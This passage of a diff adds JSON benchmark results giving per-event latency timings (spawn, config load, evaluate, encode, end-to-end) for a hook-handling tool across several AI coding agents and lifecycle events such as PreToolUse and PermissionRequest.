+ "factory|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.35, + 65.04, + 66.97 + ], + "configLoad": [ + 0.54, + 0.6, + 0.63 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.49, + 3.88, + 3.98 + ], + "e2e": [ + 64.63, + 69.49, + 71.33 + ] + }, + "e2eMean": 64.88, + "e2eStddev": 2.55, + "e2eMin": 59.43, + "e2eMax": 71.33 + }, + "factory|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.3, + 65.69, + 69.28 + ], + "configLoad": [ + 0.54, + 0.61, + 0.68 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.25, + 3.95, + 4.04 + ], + "e2e": [ + 65.52, + 70.12, + 72.8 + ] + }, + "e2eMean": 65.47, + "e2eStddev": 3, + "e2eMin": 60.08, + "e2eMax": 72.8 + }, + "devin|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.23, + 63.95, + 65.91 + ], + "configLoad": [ + 0.54, + 0.58, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.23, + 3.85, + 4.11 + ], + "e2e": [ + 65.24, + 68.53, + 70 + ] + }, + "e2eMean": 65.34, + "e2eStddev": 2.24, + "e2eMin": 60.07, + "e2eMax": 70 + }, + "devin|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.36, + 65.8, + 71.36 + ], + "configLoad": [ + 0.54, + 0.59, + 0.7 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.34 + ], + "other": [ + 3.49, + 3.96, + 4.23 + ], + "e2e": [ + 65.85, + 70.28, + 76.32 + ] + }, + "e2eMean": 66.2, + "e2eStddev": 2.89, + "e2eMin": 60.69, + "e2eMax": 76.32 + }, + "devin|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 62.33, + 67.77, + 69.56 + ], + "configLoad": [ + 0.54, + 0.58, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.24, + 0.27, + 0.3 + ], + "other": [ + 3.32, + 3.86, + 4.1 + ], + "e2e": [ + 66.87, + 72.51, + 73.25 + ] + }, + "e2eMean": 66.62, + "e2eStddev": 2.89, + "e2eMin": 61.34, + "e2eMax": 73.25 + }, + "devin|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 62.04, + 66.27, + 67.75 + ], + "configLoad": [ + 0.56, + 0.6, + 1.03 + ], + "evaluate": [ + 1.06, + 1.17, + 1.84 + ], + "encode": [ + 0.26, + 0.28, + 0.3 + ], + "other": [ + 3.26, + 3.96, + 4.26 + ], + "e2e": [ + 67.32, + 72.23, + 73.01 + ] + }, + "e2eMean": 67.46, + "e2eStddev": 2.71, + "e2eMin": 61.13, + "e2eMax": 73.01 + }, + "devin|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 61.13, + 66.92, + 70.79 + ], + "configLoad": [ + 0.54, + 0.6, + 0.62 + ], + "evaluate": [ + 0.31, + 0.35, + 0.37 + ], + "encode": [ + 0.25, + 0.27, + 0.33 + ], + "other": [ + 3.17, + 4.06, + 4.21 + ], + "e2e": [ + 65.45, + 71.31, + 75.31 + ] + }, + "e2eMean": 65.97, + "e2eStddev": 3.48, + "e2eMin": 60.31, + "e2eMax": 75.31 + }, + "devin|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.91, + 66.31, + 70.95 + ], + "configLoad": [ + 0.55, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.32 + ], + "other": [ + 3.34, + 3.94, + 3.97 + ], + "e2e": [ + 65.91, + 70.53, + 75.36 + ] + }, + "e2eMean": 65.95, + "e2eStddev": 2.85, + "e2eMin": 60.09, + "e2eMax": 75.36 + }, + "devin|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 62.48, + 69.96, + 70.85 + ], + "configLoad": [ + 0.56, + 0.6, + 0.77 + ], + "evaluate": [ + 0.58, + 0.61, + 0.67 + ], + "encode": [ + 0.26, + 0.3, + 0.38 + ], + "other": [ + 3.28, + 4.01, + 4.14 + ], + "e2e": [ + 67.37, + 74.51, + 75.33 + ] + }, + "e2eMean": 67.14, + "e2eStddev": 3.3, + "e2eMin": 59.91, + "e2eMax": 75.33 + }, + "devin|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.67, + 66.89, + 68.24 + ], + "configLoad": [ + 0.55, + 0.64, + 0.8 + ], + "evaluate": [ + 0.16, + 0.2, + 0.23 + ], + "encode": [ + 0.25, + 0.28, + 0.36 + ], + "other": [ + 3.37, + 3.92, + 4.1 + ], + "e2e": [ + 66.23, + 71.45, + 71.84 + ] + }, + "e2eMean": 66.35, + "e2eStddev": 2.87, + "e2eMin": 59.63, + "e2eMax": 71.84 + }, + "devin|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.12, + 65.27, + 66.78 + ], + "configLoad": [ + 0.54, + 0.68, + 0.81 + ], + "evaluate": [ + 0.17, + 0.18, + 0.28 + ], + "encode": [ + 0.25, + 0.29, + 0.41 + ], + "other": [ + 3.46, + 4.12, + 4.17 + ], + "e2e": [ + 65.29, + 69.81, + 71.65 + ] + }, + "e2eMean": 65.7, + "e2eStddev": 2.42, + "e2eMin": 62.15, + "e2eMax": 71.65 + }, + "devin|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.76, + 68.78, + 71.32 + ], + "configLoad": [ + 0.54, + 0.59, + 0.66 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.26, + 0.31 + ], + "other": [ + 3.31, + 3.89, + 4.05 + ], + "e2e": [ + 65.53, + 72.89, + 75.3 + ] + }, + "e2eMean": 65.61, + "e2eStddev": 3.38, + "e2eMin": 59.54, + "e2eMax": 75.3 + }, + "devin|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.74, + 67.27, + 71.92 + ], + "configLoad": [ + 0.54, + 0.59, + 0.64 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.32, + 3.81, + 3.89 + ], + "e2e": [ + 65.22, + 71.72, + 76.17 + ] + }, + "e2eMean": 65.81, + "e2eStddev": 3.21, + "e2eMin": 60.67, + "e2eMax": 76.17 + }, + "devin|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.23, + 66.49, + 68.03 + ], + "configLoad": [ + 0.54, + 0.62, + 1.05 + ], + "evaluate": [ + 0.17, + 0.19, + 0.3 + ], + "encode": [ + 0.25, + 0.28, + 0.4 + ], + "other": [ + 3.17, + 3.8, + 4.47 + ], + "e2e": [ + 65.56, + 70.73, + 71.8 + ] + }, + "e2eMean": 65.81, + "e2eStddev": 3.11, + "e2eMin": 59.55, + "e2eMax": 71.8 + }, + "devin|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.74, + 68.27, + 70.85 + ], + "configLoad": [ + 0.54, + 0.62, + 0.88 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.24, + 0.29, + 0.29 + ], + "other": [ + 3.38, + 4.11, + 4.16 + ], + "e2e": [ + 66.07, + 72.19, + 75.29 + ] + }, + "e2eMean": 66.61, + "e2eStddev": 3.19, + "e2eMin": 60.9, + "e2eMax": 75.29 + }, + "devin|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.7, + 67.73, + 69.41 + ], + "configLoad": [ + 0.55, + 0.61, + 0.62 + ], + "evaluate": [ + 0.17, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.34, + 3.78, + 3.8 + ], + "e2e": [ + 65.96, + 72.22, + 73.9 + ] + }, + "e2eMean": 66.18, + "e2eStddev": 2.68, + "e2eMin": 61.7, + "e2eMax": 73.9 + }, + "devin|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.87, + 65.03, + 65.8 + ], + "configLoad": [ + 0.55, + 0.59, + 0.6 + ], + "evaluate": [ + 0.17, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.33, + 3.85, + 4.08 + ], + "e2e": [ + 65.25, + 69.25, + 70.29 + ] + }, + "e2eMean": 65.37, + "e2eStddev": 2.55, + "e2eMin": 59.36, + "e2eMax": 70.29 + }, + "devin|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.49, + 68.08, + 72.66 + ], + "configLoad": [ + 0.55, + 0.62, + 1.02 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.4 + ], + "other": [ + 3.23, + 3.87, + 3.99 + ], + "e2e": [ + 65.46, + 72.43, + 78.36 + ] + }, + "e2eMean": 65.76, + "e2eStddev": 3.72, + "e2eMin": 60.08, + "e2eMax": 78.36 + }, + "devin|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.28, + 64.66, + 66.17 + ], + "configLoad": [ + 0.55, + 0.6, + 0.62 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.1, + 3.81, + 4.01 + ], + "e2e": [ + 64.51, + 69.14, + 70.8 + ] + }, + "e2eMean": 64.78, + "e2eStddev": 2.59, + "e2eMin": 59.55, + "e2eMax": 70.8 + }, + "devin|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.82, + 64.87, + 67.68 + ], + "configLoad": [ + 0.55, + 0.6, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.3, + 3.88, + 4.3 + ], + "e2e": [ + 65.25, + 69, + 71.94 + ] + }, + "e2eMean": 65.31, + "e2eStddev": 2.55, + "e2eMin": 60.54, + "e2eMax": 71.94 + }, + "devin|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.32, + 65.12, + 66.99 + ], + "configLoad": [ + 0.54, + 0.58, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 3.33, + 3.92, + 4.05 + ], + "e2e": [ + 65.68, + 69.69, + 71.29 + ] + }, + "e2eMean": 65.55, + "e2eStddev": 2.79, + "e2eMin": 60.12, + "e2eMax": 71.29 + }, + "devin|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.84, + 65.4, + 66.46 + ], + "configLoad": [ + 0.54, + 0.62, + 0.81 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.17, + 3.83, + 3.96 + ], + "e2e": [ + 65.2, + 69.41, + 70.47 + ] + }, + "e2eMean": 65.52, + "e2eStddev": 2.42, + "e2eMin": 60.44, + "e2eMax": 70.47 + }, + "devin|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.77, + 67.39, + 73.67 + ], + "configLoad": [ + 0.54, + 0.61, + 0.7 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.33 + ], + "other": [ + 3.31, + 3.81, + 3.99 + ], + "e2e": [ + 64.91, + 71.52, + 77.31 + ] + }, + "e2eMean": 65.73, + "e2eStddev": 3.02, + "e2eMin": 61.02, + "e2eMax": 77.31 + }, + "devin|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.87, + 64.38, + 64.45 + ], + "configLoad": [ + 0.54, + 0.6, + 0.78 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.29, + 0.3 + ], + "other": [ + 3.54, + 3.99, + 4.03 + ], + "e2e": [ + 65.53, + 68.96, + 69.39 + ] + }, + "e2eMean": 65.01, + "e2eStddev": 2.47, + "e2eMin": 60.23, + "e2eMax": 69.39 + }, + "devin|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.27, + 64.84, + 70.39 + ], + "configLoad": [ + 0.54, + 0.59, + 0.68 + ], + "evaluate": [ + 0.16, + 0.19, + 0.2 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.4, + 3.83, + 3.95 + ], + "e2e": [ + 65.59, + 69.24, + 74.35 + ] + }, + "e2eMean": 65.48, + "e2eStddev": 2.76, + "e2eMin": 60.12, + "e2eMax": 74.35 + }, + "devin|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.01, + 69.13, + 72.2 + ], + "configLoad": [ + 0.55, + 0.62, + 0.74 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.26, + 0.27 + ], + "other": [ + 3.36, + 3.94, + 3.98 + ], + "e2e": [ + 65.41, + 73.8, + 77.24 + ] + }, + "e2eMean": 65.68, + "e2eStddev": 3.68, + "e2eMin": 58.95, + "e2eMax": 77.24 + }, + "devin|Elicitation": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.45, + 67.8, + 70.23 + ], + "configLoad": [ + 0.54, + 0.58, + 0.6 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.28 + ], + "other": [ + 3.21, + 3.87, + 3.98 + ], + "e2e": [ + 65.59, + 72, + 74.77 + ] + }, + "e2eMean": 66.11, + "e2eStddev": 3.37, + "e2eMin": 59.45, + "e2eMax": 74.77 + }, + "devin|ElicitationResult": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.34, + 64.83, + 66.23 + ], + "configLoad": [ + 0.54, + 0.59, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.29, + 0.34 + ], + "other": [ + 3.24, + 3.96, + 4.12 + ], + "e2e": [ + 64.93, + 68.87, + 69.87 + ] + }, + "e2eMean": 64.87, + "e2eStddev": 2.55, + "e2eMin": 60.11, + "e2eMax": 69.87 + }, + "devin|UserPromptExpansion": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.27, + 65.52, + 67.41 + ], + "configLoad": [ + 0.54, + 0.59, + 1.04 + ], + "evaluate": [ + 0.16, + 0.17, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.45 + ], + "other": [ + 3.37, + 3.91, + 3.97 + ], + "e2e": [ + 65.51, + 69.91, + 71.64 + ] + }, + "e2eMean": 65.39, + "e2eStddev": 2.63, + "e2eMin": 60.44, + "e2eMax": 71.64 + }, + "devin|PostToolBatch": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.78, + 65.84, + 69.51 + ], + "configLoad": [ + 0.55, + 0.64, + 1 + ], + "evaluate": [ + 0.16, + 0.18, + 0.29 + ], + "encode": [ + 0.25, + 0.27, + 0.39 + ], + "other": [ + 3.35, + 3.93, + 3.95 + ], + "e2e": [ + 66.51, + 69.65, + 73.82 + ] + }, + "e2eMean": 65.91, + "e2eStddev": 3.03, + "e2eMin": 60.88, + "e2eMax": 73.82 + }, + "devin|Setup": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.83, + 66.03, + 66.54 + ], + "configLoad": [ + 0.55, + 0.6, + 0.66 + ], + "evaluate": [ + 0.16, + 0.19, + 0.21 + ], + "encode": [ + 0.25, + 0.29, + 0.35 + ], + "other": [ + 3.37, + 3.97, + 4.09 + ], + "e2e": [ + 65.48, + 70.91, + 71.17 + ] + }, + "e2eMean": 65.7, + "e2eStddev": 2.62, + "e2eMin": 61.58, + "e2eMax": 71.17 + }, + "antigravity|SessionStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.79, + 66.15, + 66.88 + ], + "configLoad": [ + 0.55, + 0.59, + 0.66 + ], + "evaluate": [ + 0.16, + 0.19, + 0.19 + ], + "encode": [ + 0.25, + 0.26, + 0.29 + ], + "other": [ + 3.44, + 3.87, + 3.94 + ], + "e2e": [ + 65.29, + 70.11, + 71.02 + ] + }, + "e2eMean": 65.7, + "e2eStddev": 2.52, + "e2eMin": 60.93, + "e2eMax": 71.02 + }, + "antigravity|SessionEnd": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.57, + 68.99, + 71.8 + ], + "configLoad": [ + 0.55, + 0.61, + 1 + ], + "evaluate": [ + 0.17, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.3, + 0.42 + ], + "other": [ + 3.43, + 4.09, + 4.13 + ], + "e2e": [ + 65.96, + 73.59, + 75.93 + ] + }, + "e2eMean": 66.73, + "e2eStddev": 3.4, + "e2eMin": 60.89, + "e2eMax": 75.93 + }, + "antigravity|UserPromptSubmit": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.65, + 65.75, + 74.31 + ], + "configLoad": [ + 0.54, + 0.58, + 0.73 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.29, + 3.84, + 4.06 + ], + "e2e": [ + 64.97, + 70.19, + 78.48 + ] + }, + "e2eMean": 65.42, + "e2eStddev": 3.18, + "e2eMin": 59.78, + "e2eMax": 78.48 + }, + "antigravity|PreToolUse": { + "n": 50, + "matched": 6, + "customHooks": 0, + "phases": { + "spawn": [ + 60.63, + 65.87, + 69.74 + ], + "configLoad": [ + 0.54, + 0.61, + 0.61 + ], + "evaluate": [ + 1.06, + 1.11, + 1.12 + ], + "encode": [ + 0.26, + 0.28, + 0.29 + ], + "other": [ + 3.36, + 3.96, + 4.06 + ], + "e2e": [ + 65.79, + 71.48, + 75.29 + ] + }, + "e2eMean": 66.4, + "e2eStddev": 3.12, + "e2eMin": 61.07, + "e2eMax": 75.29 + }, + "antigravity|PermissionRequest": { + "n": 50, + "matched": 1, + "customHooks": 0, + "phases": { + "spawn": [ + 60.9, + 66.49, + 83.05 + ], + "configLoad": [ + 0.54, + 0.62, + 0.79 + ], + "evaluate": [ + 0.31, + 0.34, + 0.45 + ], + "encode": [ + 0.25, + 0.29, + 0.33 + ], + "other": [ + 3.39, + 3.96, + 4.03 + ], + "e2e": [ + 65.64, + 71.22, + 86.65 + ] + }, + "e2eMean": 66.08, + "e2eStddev": 4.05, + "e2eMin": 59.43, + "e2eMax": 86.65 + }, + "antigravity|PermissionDenied": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.47, + 65.5, + 73.83 + ], + "configLoad": [ + 0.54, + 0.61, + 1.12 + ], + "evaluate": [ + 0.16, + 0.19, + 0.29 + ], + "encode": [ + 0.25, + 0.28, + 0.48 + ], + "other": [ + 3.22, + 3.88, + 4 + ], + "e2e": [ + 65.29, + 69.84, + 78.83 + ] + }, + "e2eMean": 65.42, + "e2eStddev": 3.32, + "e2eMin": 59.77, + "e2eMax": 78.83 + }, + "antigravity|PostToolUse": { + "n": 50, + "matched": 5, + "customHooks": 0, + "phases": { + "spawn": [ + 61.33, + 65.72, + 67.09 + ], + "configLoad": [ + 0.53, + 0.58, + 0.59 + ], + "evaluate": [ + 0.57, + 0.61, + 0.61 + ], + "encode": [ + 0.26, + 0.3, + 0.3 + ], + "other": [ + 3.38, + 3.99, + 4.12 + ], + "e2e": [ + 66.19, + 71.03, + 72 + ] + }, + "e2eMean": 66.08, + "e2eStddev": 2.89, + "e2eMin": 60.03, + "e2eMax": 72 + }, + "antigravity|PostToolUseFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.84, + 67.05, + 68.77 + ], + "configLoad": [ + 0.54, + 0.61, + 0.66 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.28 + ], + "other": [ + 3.4, + 3.85, + 3.9 + ], + "e2e": [ + 66.15, + 71.52, + 72.96 + ] + }, + "e2eMean": 66.03, + "e2eStddev": 2.91, + "e2eMin": 59.15, + "e2eMax": 72.96 + }, + "antigravity|Notification": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.85, + 68.58, + 70.1 + ], + "configLoad": [ + 0.54, + 0.6, + 1.01 + ], + "evaluate": [ + 0.17, + 0.18, + 0.3 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 3.35, + 3.86, + 3.95 + ], + "e2e": [ + 66.55, + 73.52, + 74.9 + ] + }, + "e2eMean": 66.43, + "e2eStddev": 3.02, + "e2eMin": 60.56, + "e2eMax": 74.9 + }, + "antigravity|SubagentStart": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.42, + 66.91, + 68.38 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.32, + 3.85, + 4.08 + ], + "e2e": [ + 65.66, + 71.38, + 72.55 + ] + }, + "e2eMean": 65.67, + "e2eStddev": 2.63, + "e2eMin": 61.34, + "e2eMax": 72.55 + }, + "antigravity|SubagentStop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 59.98, + 65.33, + 65.58 + ], + "configLoad": [ + 0.54, + 0.6, + 0.69 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.24, + 0.26, + 0.27 + ], + "other": [ + 3.56, + 3.99, + 4.04 + ], + "e2e": [ + 64.54, + 69.4, + 69.98 + ] + }, + "e2eMean": 64.9, + "e2eStddev": 2.82, + "e2eMin": 60.21, + "e2eMax": 69.98 + }, + "antigravity|TaskCreated": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.39, + 70.2, + 73.4 + ], + "configLoad": [ + 0.54, + 0.59, + 0.6 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.25, + 3.85, + 3.94 + ], + "e2e": [ + 65.65, + 73.78, + 77.73 + ] + }, + "e2eMean": 66.02, + "e2eStddev": 3.6, + "e2eMin": 59.82, + "e2eMax": 77.73 + }, + "antigravity|TaskCompleted": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.27, + 64.98, + 66.29 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.18 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.34, + 3.89, + 4.06 + ], + "e2e": [ + 64.76, + 69.46, + 70.95 + ] + }, + "e2eMean": 65.14, + "e2eStddev": 2.69, + "e2eMin": 60.65, + "e2eMax": 70.95 + }, + "antigravity|Stop": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.54, + 67.35, + 71.36 + ], + "configLoad": [ + 0.54, + 0.59, + 0.67 + ], + "evaluate": [ + 0.16, + 0.2, + 0.27 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.35, + 3.93, + 4.09 + ], + "e2e": [ + 65.08, + 71.96, + 74.94 + ] + }, + "e2eMean": 65.56, + "e2eStddev": 3.43, + "e2eMin": 59.72, + "e2eMax": 74.94 + }, + "antigravity|StopFailure": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.81, + 67.12, + 68.26 + ], + "configLoad": [ + 0.55, + 0.6, + 0.61 + ], + "evaluate": [ + 0.16, + 0.18, + 0.21 + ], + "encode": [ + 0.25, + 0.28, + 0.29 + ], + "other": [ + 3.28, + 3.82, + 3.97 + ], + "e2e": [ + 66.24, + 71.6, + 72.11 + ] + }, + "e2eMean": 66.01, + "e2eStddev": 3.17, + "e2eMin": 59.63, + "e2eMax": 72.11 + }, + "antigravity|TeammateIdle": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.67, + 65.49, + 66.5 + ], + "configLoad": [ + 0.54, + 0.61, + 0.65 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.28 + ], + "other": [ + 3.39, + 3.86, + 4.03 + ], + "e2e": [ + 64.62, + 70.06, + 70.86 + ] + }, + "e2eMean": 64.96, + "e2eStddev": 2.73, + "e2eMin": 59.62, + "e2eMax": 70.86 + }, + "antigravity|InstructionsLoaded": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.04, + 67.12, + 69.32 + ], + "configLoad": [ + 0.54, + 0.61, + 0.64 + ], + "evaluate": [ + 0.16, + 0.19, + 0.22 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.4, + 3.97, + 4.02 + ], + "e2e": [ + 65.57, + 71.1, + 74.24 + ] + }, + "e2eMean": 65.77, + "e2eStddev": 3.15, + "e2eMin": 59.81, + "e2eMax": 74.24 + }, + "antigravity|ConfigChange": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.44, + 64.72, + 65.85 + ], + "configLoad": [ + 0.54, + 0.63, + 0.99 + ], + "evaluate": [ + 0.16, + 0.19, + 0.31 + ], + "encode": [ + 0.25, + 0.27, + 0.3 + ], + "other": [ + 3.46, + 3.84, + 3.99 + ], + "e2e": [ + 65.64, + 69.39, + 69.67 + ] + }, + "e2eMean": 65.55, + "e2eStddev": 2.65, + "e2eMin": 59.97, + "e2eMax": 69.67 + }, + "antigravity|CwdChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.46, + 67.41, + 68.9 + ], + "configLoad": [ + 0.55, + 0.61, + 1.06 + ], + "evaluate": [ + 0.16, + 0.18, + 0.32 + ], + "encode": [ + 0.25, + 0.27, + 0.42 + ], + "other": [ + 3.17, + 3.82, + 3.89 + ], + "e2e": [ + 65.47, + 71.18, + 73.21 + ] + }, + "e2eMean": 65.36, + "e2eStddev": 3.22, + "e2eMin": 59.52, + "e2eMax": 73.21 + }, + "antigravity|FileChanged": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.07, + 64.22, + 65.77 + ], + "configLoad": [ + 0.54, + 0.6, + 0.74 + ], + "evaluate": [ + 0.16, + 0.17, + 0.18 + ], + "encode": [ + 0.25, + 0.26, + 0.28 + ], + "other": [ + 3.32, + 3.82, + 3.85 + ], + "e2e": [ + 65.27, + 68.54, + 69.97 + ] + }, + "e2eMean": 65.15, + "e2eStddev": 2.49, + "e2eMin": 59.37, + "e2eMax": 69.97 + }, + "antigravity|WorktreeCreate": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.53, + 67.02, + 72.36 + ], + "configLoad": [ + 0.54, + 0.59, + 0.59 + ], + "evaluate": [ + 0.16, + 0.18, + 0.24 + ], + "encode": [ + 0.25, + 0.27, + 0.29 + ], + "other": [ + 3.41, + 3.84, + 4.21 + ], + "e2e": [ + 65.81, + 71.25, + 76.99 + ] + }, + "e2eMean": 65.96, + "e2eStddev": 3.3, + "e2eMin": 60.34, + "e2eMax": 76.99 + }, + "antigravity|WorktreeRemove": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 61.81, + 66.23, + 66.8 + ], + "configLoad": [ + 0.55, + 0.6, + 0.68 + ], + "evaluate": [ + 0.17, + 0.18, + 0.2 + ], + "encode": [ + 0.25, + 0.28, + 0.33 + ], + "other": [ + 3.4, + 3.9, + 4 + ], + "e2e": [ + 66.22, + 70.08, + 71.42 + ] + }, + "e2eMean": 66.01, + "e2eStddev": 2.52, + "e2eMin": 60.03, + "e2eMax": 71.42 + }, + "antigravity|PreCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 60.54, + 65.2, + 67.17 + ], + "configLoad": [ + 0.54, + 0.59, + 0.62 + ], + "evaluate": [ + 0.16, + 0.18, + 0.19 + ], + "encode": [ + 0.25, + 0.27, + 0.27 + ], + "other": [ + 3.19, + 3.78, + 4.03 + ], + "e2e": [ + 64.9, + 69.57, + 71.3 + ] + }, + "e2eMean": 64.87, + "e2eStddev": 2.72, + "e2eMin": 58.84, + "e2eMax": 71.3 + }, + "antigravity|PostCompact": { + "n": 50, + "matched": 0, + "customHooks": 0, + "phases": { + "spawn": [ + 